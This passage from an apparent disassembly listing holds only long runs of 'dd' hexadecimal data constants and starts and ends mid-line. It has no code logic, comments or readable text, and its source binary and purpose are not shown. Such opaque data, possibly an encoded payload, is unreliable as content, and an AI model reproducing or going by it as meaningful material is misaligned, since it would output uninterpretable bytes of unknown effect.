6A9263Fh, 407B130Eh, 13C73B28h, 704DFBC6h, 9AEB243Ch dd 4CECCA00h, 380B989h, 8E66F351h, 0B2989CD6h, 0F239F043h dd 309A3B61h, 3AC1615Eh, 4A6EA39h, 5B0D2414h, 5880EB5Ch dd 79431Ah, 1FAF177h, 0F0DF4C7Ah, 0A5965900h, 0ECFF0EE0h dd 0F73907D9h, 0A078A073h, 0F3620493h, 0D0B87F00h, 0E28E3222h dd 0D44500B1h, 59D11CC0h, 540EDF08h, 404768E5h, 99E66348h dd 25491678h, 80481F83h, 0AA3981AEh, 0A93958A3h, 136F009Eh dd 41B3CB96h, 1C0B00D3h, 31618184h, 3B007FA4h, 0FA02A253h dd 3EA2F87h, 6A0AC5E8h, 50B7A61Fh, 5AA7E63Ah, 2B0F04FAh dd 0A1087057h, 0F08C8371h, 92D3CCh, 63EC7A15h, 589606BFh dd 0AEC6B002h, 0C8513E25h, 9D128Ch, 8FB2B47Fh, 8D806CECh dd 25052F0h, 2000ADC0h, 0D3E5E1Ah, 6AF681h, 8BE7AF83h dd 0DDA4475Bh, 84B6191Fh, 5A234102h, 87E8C062h, 6FC0CA9h dd 8E6614B9h, 0A8663Fh, 9CC6358h, 0D0239h, 975F8CB6h, 0C11FAD7Ch dd 876F1C00h, 33C62BD8h, 325E489h, 8E733C12h, 0B811CFA1h dd 9C218C30h, 5E49B61Eh, 0C6930072h, 3D05E2h, 88422A8Ch dd 2FFD5B5Fh, 0D02C6F37h, 4D4E7350h, 0E2B000A4h, 675CE0B6h dd 0AD007E76h, 9E39471Eh, 283A5273h, 6DCBEC0h, 202D14FDh dd 8A0011CAh, 8626D5DDh, 3C5B934Eh, 0C480F06Bh, 1A25A565h dd 0E1002C34h, 0BCEA4A1h, 24D8906h, 0D196460Fh, 50485D86h dd 3D7C3A75h, 2E246DB8h, 0D1808011h, 1FC8EDC9h, 0E7045CEEh dd 1513A201h, 0CC1ED8DEh, 0EB03711Ah, 95CB3794h, 9C3659DCh dd 939C6400h, 631A282Eh, 1CC22600h, 0A154DDE2h, 717E127Ah dd 21D001E8h, 70C1578Ah, 0B0009758h, 0F5621BC5h, 0EA271275h dd 8393044h, 36BA5521h, 11562530h, 3B9116h, 27CA3031h dd 9F73F2C9h, 9E2D1D00h, 4D78DD4Ah, 7FEA0011h, 980BDB74h dd 2899833Eh, 0D91E2E00h, 34DC7h, 9DEC7146h, 0CBB7C1FAh dd 77591D00h, 7C830724h, 0F8AA041Fh, 904B5E23h, 4A6B5FE8h dd 0BC59B002h, 518BEC84h, 0BDFEC058h, 0A53DAD9Ah, 13E68075h dd 1136E337h, 8DF200C4h, 5E100795h, 0A6F291CBh, 26034B7Ch dd 0D6193034h, 6EBCB0EBh, 55B50118h, 92A960F8h, 523AD473h dd 2B3B4900h, 0B4596478h, 146F00F0h, 24AC0DCh, 0BF30D5A5h dd 8620CCECh, 5497161Fh, 927C5C0Ch, 80748B8Ch, 4D37AFAEh dd 192F6030h, 57C053CFh, 1C6F9324h, 44024B3Bh, 0F54964B3h dd 82E3D4E0h, 24207F3Eh, 21802460h, 22FC75D9h, 904150B7h dd 67A80097h, 66BB532Eh, 3200E26Eh, 9FFA425Bh, 79591F44h dd 80B4007Dh, 0B9156853h, 620036CCh, 0A42BC660h, 0EA12F1h dd 0E440A6D7h, 5F3C591Eh, 674D3300h, 0ECB5CD4Ah, 5D903044h dd 0D303BC78h, 94415607h, 59478C74h, 0AB245A50h, 58F2A7h dd 0E7162667h, 0AD44494Fh, 5D801009h, 0BA08808Dh, 1C43A20Bh dd 14730F6h, 2FB6E757h, 294AE8A9h, 88606503h, 88303CD4h dd 7C6233h, 0B6B53D26h, 35AEA182h, 6F222317h, 2FD31000h dd 15ABDBEh, 0E955814Bh, 0F64E60EFh, 363FB480h, 0FF07337Fh dd 5026823h, 91300947h, 79EC644h, 0F81949C9h, 756320CBh dd 0E00CE68h, 346CC6Ch, 3A2DEEDAh, 901FE592h, 7EEC00FFh dd 94B281B6h, 0D7BB2800h, 5C708732h, 3038029Ah, 1976DD59h dd 7FF47560h, 632EEF0Eh, 0BCF6E03Eh, 71AA28h, 50451F9Ch dd 1A58DE69h, 17F56E00h, 75643BFAh, 71550002h, 15CA98B0h dd 8901F6C0h, 6C3D3E9h, 41E00B22h, 0FECC1CBCh, 1A2C181h dd 25AE59A1h, 264F6000h, 77790090h, 9D04DE74h, 8CFF23E8h dd 0F0224880h, 96401387h, 5304C86h, 9C3B7B70h, 0DD2F931Bh dd 0C4E3C047h, 40853A42h, 843C94h, 2737314Dh, 438EFB5Eh dd 8700B090h, 9EC980E4h, 7DFF2CAh, 99F00D14h, 9CBF06Ch dd 2A616F79h, 4A3D7404h, 180E6428h, 14839FA0h, 7125D047h dd 3024119Bh, 0A6B8F400h, 0E1907712h, 0C0A88883h, 7E30575Ch dd 0CF1F24C3h, 89E30F14h, 67FC1C40h, 0EC78FB21h, 2400C574h dd 1FA8CC40h, 25D386B1h, 5C2378FCh, 9FE0D0C3h, 260157E2h dd 67457C1Ch, 5DE00950h, 0D39830B7h, 30BDEF99h, 0B69DC083h dd 992700B3h, 9F16B04Eh, 0A650EFFBh, 9B50B710h, 50C0511Ch dd 5A88F71Fh, 0C5D60156h, 0D13B4604h, 8B8DD878h, 0C64D7112h dd 39198488h, 0CD80BBD7h, 0B71D68AFh, 713C907Fh, 3DAB00C7h dd 6B49D48Dh, 0EA2795Eh, 75BDFBDEh, 0F9357D20h, 381E2628h dd 7A00D410h, 96B0C789h, 1E120271h, 656BD7ECh, 142D5440h dd 0C80638h, 271FC37h, 0F809462Eh, 0D62500FAh, 99130DDBh dd 803C541Eh, 6E7B0196h, 1C5DCCEAh, 0F8A66E4h, 786BE925h dd 1B244120h, 30002DD4h, 1A4EDC48h, 698A6Ch, 68C65C7Eh dd 7B105266h, 0C19ACF07h, 46111AD9h, 0F85074F4h, 12EA4Ch dd 0EE1EA3E2h, 0A99971E3h, 1D7A3E01h, 83F47246h, 1C02B5D4h dd 0CA6C6232h, 80E459FCh, 95A668A4h, 1F0C48C5h, 890DB30h dd 521C058h, 0B293A681h, 0C5C0EF00h, 0E04F4108h, 78520387h dd 3BDE4532h, 0D93080F4h, 0CB07E7F4h, 0BA2965FCh, 2028AAC6h dd 0EC8B33D4h, 0F7982800h, 0BAC788C9h, 0FF7918D0h, 29C716Dh dd 0E100E775h, 8658A368h, 4CF1FB1Ch, 3506C9D3h, 0D87C0F37h dd 41036209h, 0CCB810E3h, 71F1002Eh, 47502757h, 5F743FEFh dd 9D21C360h, 0E1F116h, 0FD33D5D4h, 47A67C43h, 0F4FEDE1Fh dd 0DCC5E000h, 914B65h, 0AD1FFDD0h, 7024CEE2h, 622B7C03h dd 0C0644285h, 1F0D04A5h, 0B20527h, 0C0105C69h, 0F1392229h dd 0DFDC0450h, 6E801488h, 963D16h, 835ED192h, 8BDEB036h dd 0F08E9405h, 0D2C75CD4h, 9837D017h, 7E475910h, 860101CAh dd 83FB4B78h, 8492F85Bh, 8066B53Bh, 9ED19C28h, 7CA2698h dd 86CD91Dh, 938483F7h, 0C621B5D8h, 0D6ED8B00h, 0A592506Eh dd 71BB0696h, 5404CED1h, 844F8800h, 382E732Bh, 50C200B3h dd 14C8D994h, 0EF38123Fh, 765F00D5h, 82CBE4DFh, 7C8CE017h dd 0E5B00B8h, 0AD6DB365h, 2200EF9Dh, 0C9DEE1E8h, 924198h dd 97963F2Ah, 26B50E47h, 9DD66000h, 0FBF07EBEh, 0C2C53E98h dd 74D53700h, 10F999D7h, 7A00EBE6h, 857D0C7Fh, 93A51E0h dd 0B3D186ACh, 0A96C7F00h, 79F65E81h, 0E1194F00h, 903D40CBh dd 954800F1h, 9B882BC3h, 8707B339h, 0F926C05Ah, 180E13D1h dd 377A1D20h dd 5021E4ABh, 0A5AA6E51h, 0EDECC502h, 809B6D3Dh, 44A4DAA8h dd 3E943C31h, 9CE1007Bh, 1A797350h, 477D54FCh, 63ABD312h dd 2719A400h, 0D887B4h, 0C26A394Ah, 29543B57h, 0DDCD9E00h dd 45D8348h, 0AF770014h, 55DE4BEDh, 0EC7D2413h, 0FB40D8A2h dd 0A400DFE1h, 0F50F3A99h, 0E4D5D60Bh, 39AE00EDh, 232D31D1h dd 960E65B8h, 0CBE0EBh, 0DCC833D3h, 0C1070034h, 5D85DF74h dd 8C00174Ah, 2C3904C9h, 432A68h, 1B70EB8Eh, 0AABD45B1h dd 7BFCD0C0h, 30F16420h, 0CE4EF7A5h, 0F41E6F26h, 5B80E069h dd 5D778922h, 0F32F02Dh, 0FE967E29h, 3723EFE0h, 48C06288h dd 0F16EFD4Eh, 1E9A7BACh, 80FF0793h, 0A5CF5038h, 6F76F386h dd 0A2C04600h, 0DED3F809h, 63474CF6h, 1042B500h, 0F2049B0Ah dd 18440200h, 0EE45491Dh, 0A86BE0EDh, 0C3A4C7C8h, 0AD8A7590h dd 71C09087h, 0F4004259h, 0F2FFE32Ch, 0E92396h, 220351B2h dd 2BF93949h, 342C5A00h, 3F5D4CB8h, 0EFD900EAh, 90480B9Ch dd 533F0963h, 5C93004Eh, 8F4A77FAh, 8AFEAFh, 75C795EAh dd 8511B550h, 56DFD603h, 0ADFDFCC1h, 0F525E004h, 0D8760640h dd 0FF0928F7h, 200F24C0h, 6B844E08h, 0D7BC0725h, 0A48CC3h dd 0C4CC93EAh, 7A2F1A0Eh, 0FF65C033h, 74CFD990h, 2A951FA1h dd 78B681D6h, 40BB04AFh, 9C12B1CBh, 85E39B00h, 0D3B2B4A7h dd 98A81CECh, 0CF0BC372h, 0F7CADFh, 8A4D3F3Dh, 0B12A5900h dd 93A3ED31h, 0D7AB5129h, 46A5B0E3h, 0EE421F94h, 26C0F176h dd 1B168041h, 72BE4EF6h, 2AA9002Ch, 0AC231E9Fh, 69C08D9Bh dd 0D8E9694Dh, 1377453h, 0FB0C1376h, 0D04A60C9h, 0B600B897h dd 5D4BD7DAh, 24313F5Bh, 0C0EC21h, 0DE46396Eh, 2F0460E0h dd 5E45B549h, 7A8B0488h, 0EF2D0004h, 0CE8AA2C5h, 2300CC36h dd 0F555314Eh, 1859AEEh, 81E0D12Dh, 0DC77A41Dh, 0CF243873h dd 8A005411h, 4E5B50FAh, 0F2E32E0Fh, 0D562001Eh, 9F12FB87h dd 32E83000h, 29F54B36h, 0F0B600C9h, 0AEA00B31h, 4505CB15h dd 0FC8E7CB4h, 9A2800F8h, 0AC1A008Ch, 0AA40291Dh, 0E0C97BDEh dd 5D8800FEh, 0A13A16h, 0F0B51A04h, 69EB5B57h, 1D3D5301h dd 711070AEh, 219FB8BEh, 0D327C051h, 0B4C6453Eh, 6C000B77h dd 0A8B830E1h, 7DCD69Eh, 7639841Ah, 2C00E96Dh, 0BE709B80h dd 0D0A54F0Ah, 0B001C071h, 0B9BF86B7h, 0CEAFC850h, 0E33D007Dh dd 0C60E9752h, 0FE00CC58h, 49DCB7AEh, 0E72C131Ch, 4C291870h dd 5B098848h, 50002306h, 6E837E99h, 2FE150Ch, 9B792Ah dd 0E531405Dh, 0BDA20E08h, 0F72D3F00h, 0E7492817h, 800B0027h dd 0DAAD230Dh, 13078EC2h, 59534AE2h, 0C52DDEA0h, 54A91F95h dd 45A84027h, 0F804DA05h, 37C1D000h, 1FAE6659h, 0EF7107ECh dd 629DBD3Ah, 4072A0h, 57000601h, 6DF0635Ah, 0F29258Ch dd 0C7BC547Ah, 0CBF8E5E0h, 0F1DFEF6h, 4145E7DCh, 85C04233h dd 3A21CE8h, 0C627528Ch, 4AA01EE4h, 9850E134h, 0F0FA3C4h dd 0A777EA65h, 9F401F92h, 8B2617h, 0E8F5882Dh, 4416BD66h dd 45E60100h, 3DC14BB5h, 89403BEh, 8A9610E1h, 2F2CE390h dd 0FDC85E00h, 837C972Bh, 0A4FEE9Dh, 1E8F93D4h, 0D80C00ADh dd 3ADEF3AFh, 9E791800h, 265B865Dh, 48A30A5h, 40517150h dd 0B20396Eh, 0C7268061h, 3D92374Ch, 0F2C85EA2h, 0DE5DD700h dd 0AB654636h, 50FF1400h, 60B9F1C3h, 41706341h, 3F0D130h dd 7C3F7BB2h, 88B187C5h, 89D0D60Ch, 135B435Ah, 9042F32h dd 0FC20EF09h, 0B49B60B8h, 0F184A703h, 0AFB554D0h, 4F913590h dd 5A190083h, 0A3C74AB0h, 0F10071D1h, 0DF577BAEh, 212F33h dd 0F5846B8Ah, 4531C6EDh, 0B26F5C06h, 0EE61E80Bh, 89843C93h dd 0D95E2700h, 491BF965h, 916D10A0h, 3C908474h, 883B0503h dd 0A30B01CFh, 6D21A769h, 218A8559h, 1C811Bh, 0F3E6CF6Bh dd 6FE82765h, 0D2132100h, 689E8911h, 587A3DACh, 0E5B90B00h dd 13BB4DA6h, 881A9300h, 0CA748DCBh, 0DBC118D2h, 288A4067h dd 0A4489F18h, 0EC022FA8h, 1FC1B010h, 77F6AE4h, 4F8E2693h dd 2BB49DC0h, 0BB07D0ACh, 0FE32573Eh, 39305D80h, 9F2D30A4h dd 0D91AECA0h, 0B76B0B07h, 0F710F3E4h, 0F6F0FE6h, 5D9F855Fh dd 0B020914Eh, 0EA3B08ABh, 4B7B9971h, 0A4C4E300h, 3EF06194h dd 0D3C70E10h, 94F45CCFh, 564B100h, 67DE5479h, 25B62A07h dd 0A0BFFCF2h, 0A3AE632h, 0CFFA1C7Ah, 0D20B80C3h, 0C51B71FBh dd 5AB4B454h, 58D3CD00h, 0C17BB1A0h, 0D5F61C0Ah, 0BDCA43BEh dd 59800666h, 9700166Ah, 0DC581B96h, 82A1ABh, 69B030A9h dd 54FF5AF4h, 8A6D4000h, 0EF90AC74h, 6CE30B9Ah, 9CA1A52Fh dd 0E0705CA0h, 28F2A6DBh, 0B21B3Ch, 6D8C1122h, 5AE3BC7h dd 99EFB824h, 9D9893DDh, 34751AA1h, 600A5030h, 0DC7E5DFEh dd 61007A2Ch, 428D0A5Fh, 502A00C5h, 53434FCAh, 35753848h dd 0C03E9607h, 3730E482h, 0F90B8Dh, 4A0BB40h, 984A1B9Ch dd 0A332CC00h, 5DB9C7D0h, 0DE2003DFh, 3784AFB2h, 0FA09B400h dd 0F180C039h, 0AD1A00CEh, 2BE9487Fh, 6D740631h, 0C701570Fh dd 0DDC9A310h, 289CB02Dh, 0E8634C4Dh, 7982DE40h, 606F057Dh dd 0C0A09046h, 97C4814Ch, 8ABE4501h, 2CB7C372h, 215B834h dd 0F081A8B5h, 0EC6891A9h, 0C0F46B4h, 0F27D59AEh, 43F44080h dd 1E800BDh, 0D52657A0h, 56002797h, 12695540h, 3FA5CED8h dd 170022FAh, 5DB52D9Ah, 851C1D94h, 0F00254FEh, 0C0DDF82Ch dd 94C0C43Dh, 76088040h, 0DCEE3CD9h, 88C14400h, 86B2B877h dd 0C6CCA1A5h, 942460h, 32309D05h, 0FDA93170h, 55686300h dd 14C34086h, 0F780037h, 74495762h, 4B007281h, 2EB74CC0h dd 70BA864Dh, 0BBE7008Eh, 62185727h, 0DC03E9EAh, 85F199ADh dd 0E8D67Ch, 1198BB3Ch, 0BC9FE460h, 0EEF3D400h, 0C96E01BFh dd 52702Bh, 0B22C70E8h, 0B1C0BE39h, 0F4FC2807h, 91F0D0FDh dd 3819CF10h, 480FADDh, 0ADF0E4D3h, 0D502C0F6h, 0B71EAE5Bh dd 0B988710h, 0C221DBA0h, 0C4F50450h, 0D0A580CDh, 0E868DE38h dd 212D13Ah, 3A8C4023h, 907C64D7h, 0DA40295h, 0E920C184h dd 0C94C40D5h, 0F9E80309h, 6ADF79D0h, 0CA71D000h, 0C8F506F7h dd 36200244h, 46C3D0ECh, 0DC11F461h, 0DB000D57h, 4C0F9CC1h dd 0E637F94h, 0FEE065A2h, 5B6ED838h, 0DE1C0A07h, 0DC7AFF55h dd 3C905092h, 0AE6C38h, 7584792Ch, 83F405A7h, 3FEC938h dd 0A525B2EFh, 3C701242h, 57DC80F5h, 32026173h, 0B7B65FF4h dd 864140E8h, 67E4F3h, 31E61E38h, 700F65F5h, 0AB72A200h dd 0BACFAC8h, 0DEA104BAh, 0D09829CEh, 0D5669A78h, 0D47E2D01h dd 0B45EA3D6h, 0F2A636E4h, 0FAD80043h, 2B74418Ah, 66C0B3E8h dd 323C7AA0h, 24041730h, 0AA18008Bh, 0EC67088Ah, 74B6CF00h dd 0F31867Bh, 0D4E95CD2h, 0BC01120Eh, 4DF951ECh, 6E19E700h dd 69AB1702h, 15D6008Bh, 5BD1379Bh, 3C00C66Bh, 0E271A862h dd 7DD9C1h, 6C68BFD2h, 55725CEDh, 1575F77Fh, 0B941571Eh dd 0E269D80h, 0F02FD89Bh, 25B77A46h, 7C81737Dh, 0DCEA9950h dd 4002AB32h, 326B465h, 0C530E0E3h, 3D43009Eh, 4BCD943Bh dd 0B0942560h, 6619B500h, 0F31F03ECh, 7A33AFCh, 6122A8CDh dd 0D2E3CF4Ch, 9A0DAE5h, 2F00F564h, 0CE80781Eh, 24B2BDh dd 0ECB7E7FAh, 6688E3EDh, 33CB1D00h, 0AF5A2DFh, 46B00607h dd 88C65FF8h, 871B9F1Eh, 0B78A02C0h, 26C95E24h, 0E4A399Ch dd 144125E3h, 0D8C61B45h dd 42244B36h, 0BF8328F3h, 80E36719h, 0F85313h, 522248D5h dd 0D85A56A0h, 6CCCC706h, 3FA9831h, 72A1FB87h, 110E8149h dd 0F31232CEh, 25698C00h, 9730BCh, 1D5E95C7h, 0B90FE8B4h dd 32FDAB0Eh, 0AE37E0F9h, 30FB73h, 0BAFB015h, 5A539FD5h dd 18117860h, 4EF84557h, 0D1041241h, 8B4E5F0h, 973FA4Ch dd 0BAA24E39h, 0D11A3C41h, 31DDD478h, 97AFC903h, 981075CCh dd 0FDDE04h, 2D386CCDh, 0A1A564EFh, 1C5CF348h, 8A816FDCh dd 6350F51Dh, 0FEC0E5FCh, 5EB90081h, 5C52459h, 9C00D70Eh dd 53DA57B4h, 38E6DBB1h, 0DD807D2Eh, 0B5755ED3h, 4100B8BDh dd 81B45FC2h, 749FFDh, 9D549190h, 0D5ACC5A3h, 391E3Bh dd 0BCAD36E5h, 1C5E857Ch, 0A5517Ah, 791E06B9h, 8B002618h dd 0B12BBA09h, 1609FAFh, 0CADC893Ah, 81810832h, 9258206Eh dd 0C4619149h, 70F72AFCh, 13550264h, 9BFAF03Dh, 0C378FCE0h dd 4A0FDD74h, 60790924h, 4DBD6E9Dh, 0DB162C5Bh, 4D449644h dd 30207B1Ch, 700BF1Ch, 624AE07Ch, 27408F08h, 98005D53h dd 8A3474B8h, 15429900h, 0C296EB0Eh, 613000A8h, 94938572h dd 8A0638B4h, 0B9498C5Eh, 84891E30h, 0C006926Fh, 11D1ECB4h dd 0F2769E00h, 0C23A3D9Dh, 190A0E90h, 0C00021A0h, 28D8D9ABh dd 0DA7F921Ch, 0C475E340h, 732FEABCh, 0D498AAh, 0BD994F91h dd 168A68Fh, 586D8412h, 9C192090h, 0AE1E2EE8h, 330171Eh dd 822944DCh, 0F6692078h, 27D60710h, 62218Ch, 86155513h dd 32A7A461h, 9AC6D703h, 0D8016E6Bh, 25BD8D65h, 40B58F0h dd 0C0F6F027h, 0B8A448EBh, 0E5742704h, 28A01535h, 3F131E18h dd 0ED1036Ah, 2890E654h, 0C6241953h, 0AD9CC40Bh, 0BFB72780h dd 0A0C707CFh, 0F2F950Ch, 8833059Fh, 0AF4121A0h, 0F63E9DE0h dd 17E20027h, 6EBBECC9h, 0F42F00D9h, 9E5CEF09h, 68FEA886h dd 2A22F900h, 0EA00FF2h, 0CB09006Fh, 1B114A0Ch, 65E6FC80h dd 87362E3Dh, 5DE5BBB0h, 12873E70h, 0A0060024h, 77D77DAh dd 6E00112Ah, 7E9B0156h, 6AE158h, 741019ABh, 3A1ADAC2h dd 0C54183A0h, 44606C00h, 5D069D6h, 0A7340361h, 0A299EA5Dh dd 0D9942EA8h, 0D800BC7Ch, 0FDF2099Fh, 49C4F79Ah, 230E0C99h dd 302555B1h, 181E816Eh, 8F089846h, 49D821h, 255BD252h dd 700153E4h, 0D1D9DC00h, 9E8D141Dh, 69491D82h, 5F60319Ch dd 6838B2B2h, 525D30DBh, 4E305111h, 0DC808B88h, 7DAA55B5h dd 0A8C90A3h, 0BC942D30h, 9A100830h, 44988308h, 55A460D8h dd 1630235Ah, 83408411h, 3080055h, 0DDAF14B7h, 200904C3h dd 87D0027Dh, 0F3F08580h, 1E2AF44Ch, 8C9D99EBh, 0C51887CDh dd 0AE49B160h, 0BC77CAh, 0F5615B47h, 4EBE57EBh, 0ED308467h dd 0B1878395h, 0B57B22F0h, 921A00A3h, 0DD5144F4h, 0C090F1D4h dd 0AC048900h, 80DB7E71h, 0EC1B09BDh, 80C9FEh, 1288D3D8h dd 5D186600h, 58674F0Dh, 23B61D35h, 0C20B401Fh, 49DFA77Eh dd 4AA61C00h, 7DCD10B3h, 3155015Bh, 869CAE19h, 0FE01C004h dd 0FC473C00h, 94CF7BAAh, 0C4DD07F2h, 9E3D66h, 0F88F9A50h dd 0EA1FC100h, 3E36E933h, 449F0767h, 0D01E801Ch, 8DFE936Ah dd 0FFCD1400h, 0A5495CAFh, 3D850E25h, 4DEFC831h, 7CCCF1E0h dd 0EC00EAAEh, 68777EADh, 8313B5h, 98C2A122h, 0F76AC0B3h dd 2B9E8A00h, 48EFC44Ch, 0A469038Eh, 5AAB2510h, 85413CD0h dd 0F46F9503h, 0C0596BD1h, 9AABAEBh, 0CBF17409h, 0BC449180h dd 3500113Ah, 0B9FA64DCh, 0A519Fh, 4D26DD12h, 0D931C46h dd 0A4033E7Fh, 0B5866DFBh, 0BCD88C0h, 67850070h, 4FEF46AEh dd 6D00BD02h, 0F67D2CDFh, 0FD4B14h, 920CAD8Dh, 0F0B95237h dd 0B1D3D000h, 430B85A7h, 0C78617F1h, 2603BB2Ch, 0B80F7E07h dd 74FAD94h, 0F2126370h, 5D2E7022h, 0B900C388h, 9AE57DF8h dd 518DDDh, 52EF75C7h, 0B5C89C01h, 0D20CA6FAh, 491B7A03h dd 6F43005Bh, 0C08B5104h, 1E0E4840h, 601230BFh, 79D16792h dd 841B0361h, 0F9FDA4E9h, 0F64B6CE8h, 9D891600h, 0D411ECD6h dd 93550CDEh, 0EE00641h, 6DA0F501h, 0ABF72FE2h, 0BC38FCh dd 0FD276224h, 51817AECh, 47E24D00h, 0D4BD5F28h, 5D78AFh dd 0ADAAACA3h, 0DBF57AE3h, 0D25A9601h, 784FD38Bh, 0D0D09443h dd 0E5B019h, 5DF3BF68h, 0F91C2360h, 0C27B8C00h, 171639FFh dd 67CB2A9Dh, 0D0A707B8h, 913BBED5h, 8E7DC3BDh, 40249E19h dd 149A5663h, 0D6F8F7h, 3C99E638h, 8DA948A1h, 408AA03h dd 0D039F032h, 0BCA4E7h, 0E43EDD5h, 31A2F989h, 608A4901h dd 0B654EB29h, 2B7DF080h, 8DB2AE32h, 0BFB8CA5Ah, 8FD39500h dd 0F75FF61Fh, 57386900h, 5BEE0FDEh, 59C80070h, 9B89E345h dd 92002E1Fh, 51378AF5h, 3C2BEAh, 0F66C95EDh, 0D1D4D70Ah dd 7F7E2200h, 8D6D0C94h, 0E6921FA8h, 0FF4C81B0h, 4005EAF7h dd 0C14F2AF0h, 0D9F15E00h, 5BC49262h, 1BA4A00Dh, 23CD00C5h dd 0D2401375h, 5172E191h, 8DD8FB0Eh, 0ADDB2028h, 177C0h dd 3D31D542h, 67410B55h, 0F9008C75h, 0B9A7E3E2h, 0B8E644D1h dd 37C0A0ABh, 0CFAD00CCh, 878F2EF4h, 0F312BC79h, 7440AEA2h dd 0F986E4EDh, 35A3AA1h, 0C3C6A9E0h, 0E21212B5h, 4400E81Ah dd 38602484h, 0F288FEEDh, 1DF57DEFh, 8020AB83h, 0CA25A806h dd 0DF00C1B9h, 1C0AD826h, 48ADDAh, 2EB0FBEBh, 804BC093h dd 0A98BCF00h, 1E9AC4EFh, 77DC005Eh, 4526A509h, 0D900047Ah dd 7F07CC86h, 60B1AB44h, 1980C83Bh, 172E256Eh, 0DA07AB75h dd 70D0A5BCh, 635392CEh, 0AB13B806h, 5F1DDDC0h, 0D576D100h dd 2332A1E3h, 0C2A0E25h, 42008A5Eh, 0B7104CB6h, 57051091h dd 88000EC4h, 5F0AF3Ch, 263B0B7Fh, 0F10ADC25h, 0AEED0868h dd 45F08B90h, 2E9ABF0Dh, 0F60C8600h, 799D749Bh, 0B0800066h dd 6E987367h, 262ECBDCh, 0FD165311h, 0E46D5000h, 3AEB8F5Dh dd 9C9F1CD9h, 4EB940DCh, 0FE3531ABh, 26038E03h, 3D6858h dd 0C141D7A8h, 0DF84438Ch, 0B9D8CE03h, 0B8C3DC50h, 0FA61A98Ah dd 0AA860095h, 80559FB8h, 2C006ECDh, 983F0BDDh, 0FF87E66h dd 74B749A7h, 0BD226340h, 0E0058EAh, 0CFCAADB2h, 79B48A0h dd 0F9B1B327h, 2942D0AFh, 5603BDDBh, 985D64B8h, 2D87A086h dd 0F2750040h, 0AA36358Dh, 18007BFBh, 0B2B8125Fh, 60EEC1A5h dd 6BF6101Fh, 3300AA34h, 0C2B79078h, 2A475F9h, 163FCDE4h dd 0EE8E483Ah, 0EF9A2640h, 31013097h, 0CC7351C6h, 0FC20F32Ah dd 0B947051Fh, 0C4EDF6DEh, 9F800049h, 0BD73F28Ah, 0DDF55D00h dd 6E8E02E6h, 372D0004h, 69DE5878h, 32008ADCh, 337FD2B3h dd 7941ECh, 17A289F6h, 4E19FAE7h, 23F3CE01h, 0F9FBDB86h dd 7CB43h, 0C6451590h, 84358B3Ch, 791F5C75h, 0DBC0FFE3h dd 99A4CD83h, 0B9ED02EFh, 7352E714h, 17301848h, 178C100h dd 5B2BC3B2h, 0A8E21342h, 6AC8001Eh, 47BF519Dh, 1D97D400h dd 2CBB924Bh, 0A9E10EBDh, 6A2109F7h, 816896D5h, 2D0DC30h dd 42041CEh, 8F33000Dh, 9CBE2D4Ch, 0AAE66634h, 0DE241404h dd 50801960h, 330CFDAh, 48A4EE39h, 19036FB9h, 7671090Ch dd 20A94872h, 7483C900h, 0D9F0E6AFh, 0A0B1A900h, 15FA3405h dd 98FFA0DDh, 0F55F0083h, 1040C3F7h, 0B9160628h, 1EE1A052h dd 67E4C7FBh, 0E372080h, 443005B4h, 0C61E423Dh, 8F7F1877h dd 1E41A17h, 88E03201h, 6E51DEh, 8F6FFF27h, 337FE7E1h dd 73C80800h, 9242A494h dd 760B01F1h, 0E072F744h, 804AD0B4h, 0D802C0ECh, 2169A967h dd 60D080F4h, 145577AAh, 6C168CEDh, 62126C3Eh, 0D4DC4094h dd 0A3D78101h, 0AA09A900h, 1CF404E2h, 59610042h, 67C89A6Ah dd 0E6039572h, 0BBA28B5Fh, 89DEB865h, 0BC390082h, 0CD2F4A16h dd 50047F2h, 0C091480Fh, 73580Eh, 6D08568Ch, 6F416AF6h dd 0F0F95E00h, 30B6477Fh, 9EE4000Dh, 0B9A8DBB7h, 18FC2B33h dd 0DC9BB000h, 0A793F382h, 0ACCF1F46h, 0E565C0A2h, 7361B50Ah dd 1706112Ch, 8DFFF500h, 8C9D8Bh, 0D2A8A970h, 0E8465E6Eh dd 0D23FAD24h, 0EC3514h, 3AF3F0A1h, 717ED43h, 0A2EA573Eh dd 0A5039027h, 0A71EF54Ah, 0DC05C1Dh, 3FF71C8Fh, 0D1070740h dd 0F74D5F65h, 803BA3C8h, 0D3782890h, 0B0839A03h, 0F05AC2A0h dd 0D43EBCDh, 0F47B2EC7h, 0EF72F070h, 2CAD49h, 0FD14163Ch dd 161336AEh, 1EE79E41h, 5318F0E0h, 0F100E254h, 36BB835Dh dd 0A4C6D4h, 5AF557Dh, 9858DB5Bh, 0BD4C8428h, 2C607228h dd 0EF787160h, 0E2B7A16h, 0D73A6E48h, 2ADEDD40h, 3E7BECA6h dd 9FCDF00Ch, 7613385Dh, 39F907B0h, 0D073AADEh, 82D97C48h dd 0A00223F0h, 0B6C44977h, 0AFF48061h, 5E0815h, 25C95CCDh dd 5F117E0Eh, 0BD1BE200h, 291887F9h, 4A781D68h, 3BC80B3Ch dd 7DA12001h, 69CB4081h, 1205E77Fh, 0D6EC4451h, 0E158DF00h dd 7264776h, 9597F87Ch, 0FEE2B049h, 6F001928h, 0A773339Bh dd 4080483h, 95E6BC7Bh, 96F5C0A0h, 2D03698Dh, 0D5A46DEBh dd 86B1D005h, 0E07908h, 8B171AA9h, 46F824C9h, 38951302h dd 0C0A45AE1h, 72E2B025h, 80B4004Ah, 0F29FE7CCh, 11004413h dd 0C8D679Dh, 1E56FF18h, 0C1303EE9h, 50BB2503h, 49B840A3h dd 0FD00EDA2h, 0CCBECB8Bh, 2E6B3CC0h, 0A5505Bh, 97D0CD32h dd 2300DD17h, 9669F49Bh, 5C024E67h, 0C200DD63h, 9DD28222h dd 5300BDFCh, 0DDACD95Eh, 733A1926h, 0D86D12E1h, 35340017h dd 40287E2Eh, 338845Ch, 7D775C86h, 68439AC2h, 0B83F904h dd 6A5A0AE6h, 0D7110C80h, 0EB021440h, 0A6979219h, 7E00F5F3h dd 0E1FADAC6h, 2232BF0Fh, 66DD40E9h, 0BD9E1Ch, 6F5F5594h dd 0D0B1E47Dh, 5B39DBF2h, 0EDF88023h, 8FA1CA0Ch, 3931002Fh dd 6C68A229h, 0E31F51F2h, 0C7407AFDh, 749A0B2Ch, 2BEF021Bh dd 0A1820955h, 3D005050h, 0BCB52056h, 26996C4Ch, 0B84FE37h dd 0C0A08AB8h, 0F6E3AE9Ah, 0C1E9EE00h, 4AC75EEDh, 209B005Ah dd 0D8EFE7BEh, 0AA486579h, 81620006h, 932F4CC8h, 0F3780397h dd 9414459Bh, 7275FAC0h, 